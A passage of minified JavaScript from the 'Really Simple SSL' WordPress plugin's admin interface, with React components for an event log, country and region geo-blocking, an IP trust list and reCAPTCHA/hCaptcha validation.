t={name:(a=e).name,sortable:a.sortable,searchable:a.searchable,width:a.width,visible:a.visible,column:a.column,selector:e=>e[a.column]};var a;V.push(t)}));let S=k("event_log_enabled");if((0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light"),!t&&0===V.length&&0===l.length)return(0,s.createElement)("div",{className:"rsssl-spinner"},(0,s.createElement)("div",{className:"rsssl-spinner__inner"},(0,s.createElement)("div",{className:"rsssl-spinner__icon"}),(0,s.createElement)("div",{className:"rsssl-spinner__text"},(0,c.__)("Loading...","really-simple-ssl"))));let A=[];V.map((e=>{e.searchable&&A.push(e.column)}));let U,x=[];return l.data&&(x=l.data.map((e=>{let l={...e};var t,a;return l.iso2_code=(t=l.iso2_code,a=l.country_name,(0,s.createElement)(s.Fragment,null,(0,s.createElement)(za,{countryCode:t,style:{fontSize:"2em",marginLeft:"0.3em"},title:a}))),l.expandableRows=!0,l}))),U=void 0!==a,(0,p.useEffect)((()=>{0===Object.keys(x).length?F(100):F(50*(U?a.perPage+2:12))}),[U,a?.perPage,x]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)("div",null),(0,s.createElement)(Ga,{handleSearch:h,searchableColumns:A})),(0,s.createElement)(W.default,{columns:V,data:u?[]:x,dense:!0,pagination:!u,paginationServer:!0,paginationTotalRows:U?a.totalRows:10,paginationPerPage:U?a.perPage:10,paginationDefaultPage:U?a.currentPage:1,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},onChangeRowsPerPage:i,onChangePage:o,expandableRows:!u,expandableRowsComponent:({data:e})=>{let l,t,a="";switch(e.severity){case"warning":l="rsssl-warning",t="circle-times",a="red";break;case"informational":l="rsssl-primary",t="info",a="black";break;default:l="rsssl-primary"}return(0,s.createElement)("div",{className:"rsssl-wizard-help-notice "+l,style:{padding:"1em",borderRadius:"5px"}},(0,s.createElement)("div",{style:{float:"right"}},(0,s.createElement)(H.default,{name:t,color:a})),(0,s.createElement)("div",{style:{fontSize:"1em",fontWeight:"bold"}},e.severity.charAt(0).toUpperCase()+e.severity.slice(1)),(0,s.createElement)("div",null,e.description))},loading:t,onSort:d,sortServer:!u,paginationRowsPerPageOptions:[5,10,25,50,100],noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!S&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Activate Limit login attempts to enable this block.","really-simple-ssl")))))},ws=({field:e})=>{const{fetchRoles:l,roles:t,rolesLoaded:a}=qa(),[n,i]=(0,p.useState)([]),[c,r]=(0,p.useState)(!1),{updateField:d,setChangedField:o,fieldsLoaded:h,getFieldValue:v}=(0,m.A)();return(0,p.useEffect)((()=>{a||l(e.id)}),[a]),(0,p.useEffect)((()=>{e.value||(o(e.id,e.default),d(e.id,e.default),i(e.default.map(((e,l)=>({value:e,label:e.charAt(0).toUpperCase()+e.slice(1)}))))),i(e.value.map(((e,l)=>({value:e,label:e.charAt(0).toUpperCase()+e.slice(1)}))))}),[h]),(0,p.useEffect)((()=>{r(v("enforce_frequent_password_change"))}),[v("enforce_frequent_password_change")]),(0,s.createElement)("div",{style:{marginTop:"5px"}},(0,s.createElement)(ja.Ay,{isMulti:!0,options:t,onChange:l=>{const t=l.map((e=>e.value));i(l),d(e.id,t),o(e.id,t)},value:n,menuPosition:"fixed",styles:{multiValue:e=>({...e,borderRadius:"10px",backgroundColor:"#F5CD54"}),multiValueRemove:(e,l)=>({...e,color:l.isHovered?"initial":e.color,opacity:"0.7",":hover":{backgroundColor:"initial",color:"initial",opacity:"1"}}),menuList:e=>({...e,height:"125px",zIndex:999})},isDisabled:!c}),!1)},ks=(0,U.vt)(((e,l)=>({processing:!1,dataLoaded:!1,pagination:{},dataActions:{},CountryDataTable:[],rowCleared:!1,fetchCountryData:async(l,t)=>{if(e({processing:!0,rowCleared:!0,dataLoaded:!1}),t)try{const a=await f.Eo(l,{filterValue:t});a&&a.request_success&&e({CountryDataTable:a,dataLoaded:!0,processing:!1}),e({rowCleared:!0})}catch(e){console.error(e)}else e({processing:!1})},handleCountryTableSearch:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,search:l,searchColumns:t}})))},handleCountryTablePageChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,page:l,pageSize:t}})))},handleCountryTableRowsChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,currentRowsPerPage:l,currentPage:t}})))},handleCountryTableSort:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,sortColumn:l,sortDirection:t}})))},handleCountryTableFilter:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,filterColumn:l,filterValue:t}})))},addRow:async(l,t)=>{e({rowCleared:!1});let a={country_code:l,country_name:t};try{const l=await f.Eo("geo_block_add_blocked_country",a);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):{success:!1,message:l?.message||"Failed to add country",response:l}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}},addMultiRow:async l=>{e({processing:!0}),e({rowCleared:!1});let t={country_codes:l};try{const l=await f.Eo("geo_block_add_blocked_country",t);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):(e({rowCleared:!0}),{success:!1,message:l?.message||"Failed to add countries",response:l})}catch(l){return console.error(l),e({rowCleared:!0}),{success:!1,message:"Error occurred",error:l}}finally{e({processing:!1}),e({rowCleared:!0})}},removeRowMulti:async(l,t)=>{e({processing:!0}),e({rowCleared:!1});let a={country_codes:l};try{const l=await f.Eo("geo_block_remove_blocked_country",a);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):{success:!1,message:l?.message||"Failed to remove countries",response:l}}catch(l){return console.error(l),e({rowCleared:!0}),{success:!1,message:"Error occurred",error:l}}finally{e({rowCleared:!0}),e({processing:!1})}},removeRow:async l=>{e({processing:!0}),e({rowCleared:!1});let t={country_code:l};try{const l=await f.Eo("geo_block_remove_blocked_country",t);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):(e({rowCleared:!0}),{success:!1,message:l?.message||"Failed to remove country",response:l})}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({rowCleared:!0}),e({processing:!1})}},addRegion:async l=>{e({processing:!0}),e({rowCleared:!1});let t={region_code:l};try{const l=await f.Eo("geo_block_add_blocked_region",t);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):(e({rowCleared:!0}),{success:!1,message:l?.message||"Failed to add region",response:l})}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1}),e({rowCleared:!0})}},addRegionsMulti:async(l,t)=>{e({processing:!0}),e({rowCleared:!1});let a={region_codes:l};try{const l=await f.Eo("geo_block_add_blocked_region",a);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):(e({rowCleared:!0}),{success:!1,message:l?.message||"Failed to add regions",response:l})}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({rowCleared:!0}),e({processing:!1})}},removeRegion:async l=>{e({processing:!0}),e({rowCleared:!1});let t={region_code:l};try{const l=await f.Eo("geo_block_remove_blocked_region",t);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):(e({rowCleared:!0}),{success:!1,message:l?.message||"Failed to remove region",response:l})}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1}),e({rowCleared:!0})}},removeRegionMulti:async l=>{e({processing:!0}),e({rowCleared:!1});let t={region_codes:l};try{const l=await f.Eo("geo_block_remove_blocked_region",t);return l&&l.request_success?(e({rowCleared:!0}),{success:!0,message:l.message,response:l}):(e({rowCleared:!0}),{success:!1,message:l?.message||"Failed to remove regions",response:l})}catch(l){return console.error(l),e({rowCleared:!0}),{success:!1,message:"Error occurred",error:l}}finally{e({processing:!1}),e({rowCleared:!0})}},resetRowSelection:async l=>{e({rowCleared:l})}}))),Rs=e=>{const{CountryDataTable:l,dataLoaded:a,fetchCountryData:n,addRow:i,addMultiRow:r,removeRegion:d,removeRegionMulti:o,addRegion:h,addRegionsMulti:v,removeRow:u,removeRowMulti:_,rowCleared:f,resetRowSelection:g}=ks(),Z="rsssl-group-filter-firewall_list_listing",[y,w]=(0,p.useState)([]),[k,R]=(0,p.useState)(""),[M,F]=(0,p.useState)([]),{showSavedSettingsNotice:b,saveFields:C}=(0,m.A)(),[H,V]=(0,p.useState)([]),[S,A]=(0,p.useState)([]),{fields:U,fieldAlreadyEnabled:x,getFieldValue:T,setHighLightField:D,getField:L}=(0,m.A)(),[N,O]=(0,p.useState)(1),[B,z]=(0,p.useState)(10),{setSelectedSubMenuItem:P}=(0,E.A)(),[I,G]=(0,p.useState)(null),[K,W]=(0,p.useState)(null);(0,p.useEffect)((()=>{Promise.resolve().then(t.bind(t,3757)).then((({default:e,createTheme:l})=>{G((()=>e)),W((()=>l("really-simple-plugins",{divider:{default:"transparent"}},"light")))}))}),[]);let j=T("enable_firewall");const{selectedFilter:q,setSelectedFilter:Y,activeGroupId:J,getCurrentFilter:$,setProcessingFilter:X}=(0,Q.A)(),[ee,le]=(0,p.useState)($(Z)),te=(0,p.useCallback)((e=>({omit:"regions"===ee&&("country_name"===e.column||"flag"===e.column),name:"action"===e.column&&"regions"===ee?(0,c.__)("Block / Allow All","really-simple-ssl"):e.name,sortable:e.sortable,searchable:e.searchable,width:e.width,visible:e.visible,column:e.column,selector:l=>l[e.column]})),[ee]);let ae=e.field;(0,p.useEffect)((()=>{const e=document.getElementById("set_to_captcha_configuration"),l=async l=>{l.preventDefault(),e&&await se(e)};return e&&e.addEventListener("click",l),()=>{e&&e.removeEventListener("click",l)}}),[]);const se=async e=>{let l={...L("enabled_captcha_provider"),highlight_field_id:"enabled_captcha_provider"};D(l.highlight_field_id);let t=L(l.highlight_field_id);await P(t.menu_id)},ne=(0,p.useCallback)((async(e,l)=>{if(Array.isArray(e)){const l=e.map((e=>({country_code:e.iso2_code,country_name:e.country_name})));await r(l).then((e=>{e.success?b(e.message):b(e.message,"error")})),await n(ae.action,ee),V([])}else await i(e,l).then((e=>{b(e.message),e.success&&n(ae.action,ee)}))}),[i,ee,y,j]),ie=(0,p.useCallback)((async(e,l="")=>{if(Array.isArray(e)){const l=e.map((e=>({iso2_code:e.iso2_code,country_name:e.country_name})));await o(l).then((e=>{e.success?(b(e.message),e.success&&n(ae.action,ee)):b(e.message,"error")})),V([])}else await d(e).then((e=>{b(e.message),e.success&&n(ae.action,ee)}))}),[d,ee]),ce=(0,p.useCallback)((async(e,l="")=>{if(Array.isArray(e)){const l=e.map((e=>({iso2_code:e.iso2_code,country_name:e.country_name})));await v(l).then((e=>{e.success?b(e.message):b(e.message,"error")})),await n(ae.action,ee),V([])}else await h(e).then((e=>{e.success?b(e.message):b(e.message,"error")})),await n(ae.action,ee)}),[h,ee]),re=(0,p.useCallback)((async e=>{if(Array.isArray(e)){const l=e.map((e=>({country_code:e.iso2_code,country_name:e.country_name})));await _(l).then((e=>{e.success?b(e.message):b(e.message,"error")})),V([]),await n(ae.action,ee)}else await u(e).then((e=>{b(e.message)})),await n(ae.action,ee)}),[u,ee]),me=({onClick:e,children:l,className:t,disabled:a=!1})=>(0,s.createElement)("button",{className:`button ${t} rsssl-action-buttons__button`,onClick:e,disabled:a},l),de=(0,p.useCallback)(((e,l,t,a=!0,n=!0)=>(0,s.createElement)("div",{className:"rsssl-action-buttons"},"blocked"===ee&&(0,s.createElement)(me,{onClick:()=>re(e),className:"button-secondary"},(0,c.__)("Allow","really-simple-ssl")),"regions"===ee&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(me,{onClick:()=>ce(e,t),className:"button-primary",disabled:!a},(0,c.__)("Block","really-simple-ssl")),(0,s.createElement)(me,{onClick:()=>ie(e,t),className:"button-secondary",disabled:!n},(0,c.__)("Allow","really-simple-ssl"))),"countries"===ee&&(0,s.createElement)(me,{onClick:()=>ne(e,l),className:"button-primary"},(0,c.__)("Block","really-simple-ssl")))),[ee]),oe=(0,p.useCallback)(((e,l)=>(0,s.createElement)(s.Fragment,null,(0,s.createElement)(za,{countryCode:e,style:{fontSize:"2em"},title:l,continent:"regions"===$(Z)}))),[ee]);(0,p.useEffect)((()=>{const e=$(Z);void 0===e?(le("regions"),Y("regions",Z)):le(e),V([]),g(!0),g(!1)}),[$(Z)]),(0,p.useEffect)((()=>{void 0!==ee&&(async()=>{await n(ae.action,ee)})()}),[ee]),(0,p.useEffect)((()=>{a&&void 0!==l.data&&w(l.data)}),[a]);const he=(0,p.useCallback)((e=>{const{selectedCount:l,selectedRows:t,allSelected:a,allRowsSelected:s}=e;let n=[];a?(n=t.slice((N-1)*B,N*B),V(n)):V(t)}),[N,B,M]);return(0,p.useEffect)((()=>{let e=ae.columns.map(te);const l=e.findIndex((e=>"action"===e.column));if("regions"===ee&&-1!==l){const t=e[l];e.splice(l,1);const a={name:"",selector:"",sortable:!1,omit:!1,searchable:!1};e.push(a,t)}A(e);const t=(y||[]).filter((e=>Object.values(e).some((e=>(null!=e?e:"").toString().toLowerCase().includes(k.toLowerCase()))))).map((e=>{const l={...e};if(S.forEach((t=>{l[t.column]=e[t.column]})),"regions"===ee){let e=l.region_count-l.blocked_count>0,t=l.blocked_count>0;l.action=de(l.iso2_code,l.country_name,l.region,e,t)}else l.action=de(l.iso2_code,"countries"===ee?l.country_name:l.status,l.region);return l.flag=oe(l.iso2_code,l.country_name),l.status&&(l.status=(0,c.__)(l.status.charAt(0).toUpperCase()+l.status.slice(1),"really-simple-ssl"),"regions"===ee&&(l.blocked_count===l.region_count||0===l.blocked_count?l.status=l.status:l.status=l.status+" ("+l.blocked_count+"/ "+l.region_count+")")),l}));F(t)}),[y,k]),(0,p.useEffect)((()=>{H.length}),[H]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)("div",null),(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onChange:e=>R(e.target.value)})))),H.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s rows","really-simple-ssl").replace("%s",H.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},"countries"===ee&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(me,{onClick:()=>ne(H),className:"button-primary"},(0,c.__)("Block","really-simple-ssl"))),"regions"===ee&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(me,{onClick:()=>ie(H),className:"button-secondary"},(0,c.__)("Allow","really-simple-ssl")),(0,s.createElement)(me,{onClick:()=>ce(H),className:"button-primary"},(0,c.__)("Block","really-simple-ssl"))),"blocked"===ee&&(0,s.createElement)(me,{onClick:()=>re(H)},(0,c.__)("Allow","really-simple-ssl"))))),I&&(0,s.createElement)(I,{columns:S,data:M,dense:!0,pagination:!0,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,selectableRows:!0,paginationPerPage:B,onChangePage:e=>{O(e)},onChangeRowsPerPage:e=>{z(e)},onSelectedRowsChange:he,clearSelectedRows:f,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!T("enable_firewall")&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Restrict access from specific countries or continents. You can also allow only specific countries.","really-simple-ssl")))))},Ms=e=>{const{WhiteListTable:l,fetchWhiteListData:a,processing:n,ipAddress:i,addRow:r,removeRow:d,pagination:o,addRegion:h,removeRegion:v,resetRow:u,rowCleared:_}=_s(),{showSavedSettingsNotice:f,saveFields:g}=(0,m.A)(),[E,Z]=(0,p.useState)([]),[y,w]=(0,p.useState)(!1),[k,R]=(0,p.useState)(600),M="rsssl-group-filter-geo_block_list_white_listing",{fields:F,fieldAlreadyEnabled:b,getFieldValue:C}=(0,m.A)(),[H,V]=(0,p.useState)(""),[S,A]=(0,p.useState)(1),[U,x]=(0,p.useState)(10),[T,D]=(0,p.useState)(null),[L,N]=(0,p.useState)(null);(0,p.useEffect)((()=>{Promise.resolve().then(t.bind(t,3757)).then((e=>{const{default:l,createTheme:t}=e;D((()=>l)),N((()=>t("really-simple-plugins",{divider:{default:"transparent"}},"light")))}))}),[]);const O=(0,p.useCallback)((e=>({name:e.name,sortable:e.sortable,searchable:e.searchable,width:e.width,visible:e.visible,column:e.column,selector:l=>l[e.column]})),[]);let B=e.field;const z=B.columns.map(O);z.filter((e=>e.searchable)).map((e=>e.column)),(0,p.useEffect)((()=>{Z([])}),[l]),(0,p.useEffect)((()=>{a(B.action)}),[b("enable_firewall")]);let P=C("enable_firewall");(0,p.useEffect)((()=>()=>{g(!1,!1)}),[P]),(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light");const I=(0,p.useCallback)((e=>{const{selectedCount:l,selectedRows:t,allSelected:a,allRowsSelected:s}=e;let n=[];a?(n=t.slice((S-1)*U,S*U),Z(n)):Z(t)}),[S,U]),G=(0,p.useCallback)((async(e,l="")=>{Array.isArray(e)?(e.map((e=>({iso2_code:e.iso2_code,country_name:e.country_name}))).forEach((e=>{v(e.iso2_code).then((e=>{f(e.message)}))})),Z([]),await a(B.action),Z([])):await v(e).then((e=>{f(e.message)}))}),[v]),K=(0,p.useCallback)((e=>{Array.isArray(e)?(e.map((e=>({id:e.id}))).forEach((e=>{u(e.id).then((e=>{f(e.message)}))})),a(B.action),Z([])):u(e).then((e=>{f(e.message),a(B.action)}))}),[u]),j=(0,p.useCallback)((async(e,l="")=>{Array.isArray(e)?(e.map((e=>({iso2_code:e.iso2_code,country_name:e.country_name}))).forEach((e=>{h(e.iso2_code).then((e=>{f(e.message)}))})),Z([]),await a(B.action),Z([])):await h(e).then((e=>{f(e.message)}))}),[h]),q=(0,p.useCallback)((async e=>{Array.isArray(e)?(e.map((e=>({iso2_code:e.iso2_code,country_name:e.country_name}))).forEach((e=>{d(e.iso2_code).then((e=>{f(e.message)}))})),Z([]),await a(B.action)):await d(e).then((e=>{f(e.message)}))}),[d]),Y=(0,p.useCallback)((async(e,l)=>{Array.isArray(e)?(e.map((e=>({iso2_code:e.iso2_code,country_name:e.country_name}))).forEach((e=>{r(e.iso2_code,e.country_name).then((e=>{f(e.message)}))})),Z([])):await r(e,l).then((e=>{f(e.message)}))}),[r]),J={...l.data},$=(0,p.useCallback)(((e,l)=>(0,s.createElement)(s.Fragment,null,(0,s.createElement)(za,{countryCode:e,style:{fontSize:"2em"},title:l}))),[]),Q=({onClick:e,children:l,className:t})=>(0,s.createElement)("button",{className:`button ${t} rsssl-action-buttons__button`,onClick:e,disabled:n},l),X=(0,p.useCallback)((e=>(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(Q,{onClick:()=>K(e),className:"button-red"},(0,c.__)("Reset","really-simple-ssl")))),[M,K,j,G,Y,q]);for(const e in J){const l={...J[e]};l.action=X(l.id),l.flag=$(l.iso2_code,l.country_name),l.status=(0,c.__)(l.status=l.status.charAt(0).toUpperCase()+l.status.slice(1),"really-simple-ssl"),J[e]=l}let ee;return ee=void 0!==o,(0,p.useEffect)((()=>{0===Object.keys(J).length?R(100):R(50*(ee?o.perPage+2:12))}),[ee,o?.perPage,J]),(0,p.useEffect)((()=>{Object.entries(J).filter((([e,l])=>Object.values(l).some((e=>(null!=e?e:"").toString().toLowerCase().includes(H.toLowerCase()))))).map((([e,l])=>{const t={...l};return t.action=X(t.id),t.flag=$(t.iso2_code,t.country_name),t.status=(0,c.__)(t.status=t.status.charAt(0).toUpperCase()+t.status.slice(1),"really-simple-ssl"),[e,t]})).reduce(((e,[l,t])=>({...e,[l]:t})),{})}),[H,J]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)(fs,{isOpen:y,onRequestClose:()=>{w(!1)},value:i,status:"trusted"}),(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)(ps,{moduleName:M,handleOpen:()=>{w(!0)},processing:n,blockedText:(0,c.__)("Block IP Address","really-simple-ssl"),allowedText:(0,c.__)("Trust IP Address","really-simple-ssl")}),(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onChange:e=>V(e.target.value)})))),E.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s rows","really-simple-ssl").replace("%s",E.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(s.Fragment,null,(0,s.createElement)(Q,{onClick:()=>K(E),className:"button-red"},(0,c.__)("Reset","really-simple-ssl")))))),T&&(0,s.createElement)(T,{columns:z,data:Object.values(J).filter((e=>Object.values(e).some((e=>(null!=e?e:"").toString().toLowerCase().includes(H.toLowerCase()))))),dense:!0,pagination:!0,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,selectableRows:!0,clearSelectedRows:_,paginationPerPage:U,onChangePage:e=>{A(e)},onChangeRowsPerPage:e=>{x(e)},onSelectedRowsChange:I,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!P&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Here you can add IP addresses that should never be blocked by region restrictions.","really-simple-ssl")))))},Fs=(0,U.vt)(((e,l)=>({reloadCaptcha:!1,setReloadCaptcha:l=>e({reloadCaptcha:l}),verifyCaptcha:async e=>{try{return await f.Eo("verify_captcha",{responseToken:e})||void console.error("No response received from the server.")}catch(e){console.error("Error:",e)}},removeRecaptchaScript:async(e="recaptcha")=>{window.grecaptcha&&(window.grecaptcha.reset(),delete window.grecaptcha),document.querySelectorAll('script[src^="https://www.google.com/recaptcha/api.js"]').forEach((e=>{e.remove()})),document.querySelectorAll('script[src^="https://www.google.com/recaptcha/api.js"]');const l=document.getElementById("recaptchaContainer");l&&l.remove()}}))),bs=({handleCaptchaResponse:e,captchaVerified:l})=>{const t=l=>{e(l)},{reloadCaptcha:a,removeRecaptchaScript:n,setReloadCaptcha:i}=Fs(),{getFieldValue:c,updateField:r,saveFields:d}=(0,m.A)(),o=c("recaptcha_site_key");return c("recaptcha_secret_key"),c("captcha_fully_enabled"),(0,p.useEffect)((()=>{const e=document.createElement("script");e.src="https://www.google.com/recaptcha/api.js?render=explicit&onload=initRecaptcha",e.async=!0,e.defer=!0,e.onload=()=>{let e=document.getElementById("recaptchaContainer");void 0!==window.grecaptcha&&(window.initRecaptcha=window.initRecaptcha||(()=>{window.grecaptcha&&window.grecaptcha.render(e,{sitekey:o,callback:t})}))},document.body.appendChild(e)}),[o,e]),(0,p.useEffect)((()=>{l&&n()}),[l]),(0,s.createElement)("div",{className:"rsssl-captcha",style:{display:"flex",flexDirection:"column",alignItems:"center",marginBottom:"20px"}},(0,s.createElement)("div",{id:"recaptchaContainer"}))},Cs=({sitekey:e,handleCaptchaResponse:l})=>{const t=e=>{l(e)};return(0,p.useEffect)((()=>{const l=document.createElement("script");return l.src="https://hcaptcha.com/1/api.js?onload=initHcaptcha",l.async=!0,l.defer=!0,l.onload=()=>{void 0!==window.hcaptcha&&window.hcaptcha.render("hcaptchaContainer",{sitekey:e,callback:t})},document.body.appendChild(l),()=>{window.hcaptcha&&window.hcaptcha.reset(),l&&l.remove()}}),[e,l]),(0,s.createElement)("div",{className:"rsssl-captcha",style:{display:"flex",flexDirection:"column",alignItems:"center",marginBottom:"20px"}},(0,s.createElement)("div",{id:"hcaptchaContainer"}))};var Hs=t(5170);const Vs=({props:e})=>{const{getFieldValue:l,updateField:t,saveFields:a,getField:n}=(0,m.A)(),i=l("enabled_captcha_provider"),r=l(`${i}_site_key`),d=l(`${i}_secret_key`),o=l("captcha_fully_enabled"),{verifyCaptcha:h,setReloadCaptcha:v,removeRecaptchaScript:u}=Fs(),[_,f]=(0,p.useState)(!1),[g,E]=(0,p.useState)(!1),Z=e=>{h(e).then((e=>{e&&e.success?(t("captcha_fully_enabled",1),a(!1,!1,!0)):(t("captcha_fully_enabled",!1),a(!1,!1))}))};return(0,p.useEffect)((()=>{a(!1,!1)}),[i]),(0,p.useEffect)((()=>{o&&(t("captcha_fully_enabled",1),a(!1,!1))}),[o]),(0,p.useEffect)((()=>{switch(f(!1),i){case"recaptcha":40===r.length&&40===d.length?E(!0):E(!1);break;case"hcaptcha":36===r.length&&35===d.length?E(!0):E(!1)}}),[r,d,i]),(0,s.createElement)("div",null,(0,s.createElement)(Hs.A,{title:(0,c.__)("Reload Captcha","really-simple-ssl")},"recaptcha"===i&&!o&&_&&(0,s.createElement)(bs,{handleCaptchaResponse:Z}),"hcaptcha"===i&&!o&&_&&(0,s.createElement)(Cs,{sitekey:r,handleCaptchaResponse:Z,captchaVerified:o}),"none"!==i&&!o&&(0,s.createElement)("button",{disabled:!g,className:"button button-primary "+(g?"":"rsssl-learning-mode-disabled"),onClick:()=>f(!0)}," ",(0,c.__)("Validate CAPTCHA","really-simple-ssl")," ")))},Ss=({field:e,fields:l,label:t})=>{const{getFieldValue:a,setChangedField:n,updateField:c,saveFields:r}=(0,m.A)();let d=a(e.id),o=a("captcha_fully_enabled");return(0,s.createElement)(s.Fragment,null,(0,s.createElement)(i.TextControl,{required:e.required,placeholder:e.placeholder,help:e.comment,label:t,onChange:l=>(async l=>{n(e.id,l),n("captcha_fully_enabled",!1),c(e.id,l),await r(!1,!1)})(l),value:d}),(0,s.createElement)("div",{className:"rsssl-email-verified"},Boolean(o)?(0,s.createElement)(H.default,{name:"circle-check",color:"green"}):(0,s.createElement)(H.default,{name:"circle-times",color:"red"})))},As=(0,U.vt)(((e,l)=>({processing:!1,dataLoaded:!1,dataActions:{},sourceData:[],filteredData:[],searchTerm:"",searchColumns:[],reloadFields:!1,setReloadFields:l=>e({reloadFields:l}),clearAllData:()=>e({sourceData:[],filteredData:[]}),setProcessing:l=>e({processing:l}),fetchData:async(l,t)=>{e({processing:!0});try{const a=await f.Eo(l,t);a&&a.data&&e({filteredData:a.data,sourceData:a.data,dataLoaded:!0,processing:!1})}catch(e){console.log(e)}finally{e({processing:!1})}},handleSearch:(t,a)=>{e({searchTerm:t}),e({searchColumns:a});const s=l().sourceData.filter((e=>a.some((l=>e[l]&&e[l].toLowerCase().includes(t.toLowerCase())))));e({filteredData:s})},handleFilter:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,filterColumn:l,filterValue:t}})))},restoreView:()=>{let e=l().searchTerm;if(""!==e){let t=l().searchColumns;l().handleSearch(e,t)}},removeRows:t=>{let a=l().filteredData,s=l().sourceData,n=a.filter((e=>!t.includes(e.id))),i=s.filter((e=>!t.includes(e.id)));e({filteredData:n,sourceData:i}),l().restoreView()},rowAction:async(t,a,s,n)=>{s=void 0!==s?s:"",e({processing:!0}),"delete"===s&&l().removeRows(t);let i={ids:t};try{const t=await f.Eo(a,i);t.data&&(e({filteredData:t.data,sourceData:t.data,dataLoaded:!0,processing:!1}),l().restoreView(),n&&l().setReloadFields(n))}catch(e){}finally{e({processing:!1})}}}))),Us=({controlButton:e})=>{const{processing:l}=As();return(0,s.createElement)("div",{className:"rsssl-add-button"},(0,s.createElement)("div",{className:"rsssl-add-button__inner"},(0,s.createElement)("button",{className:"button button-secondary button-datatable 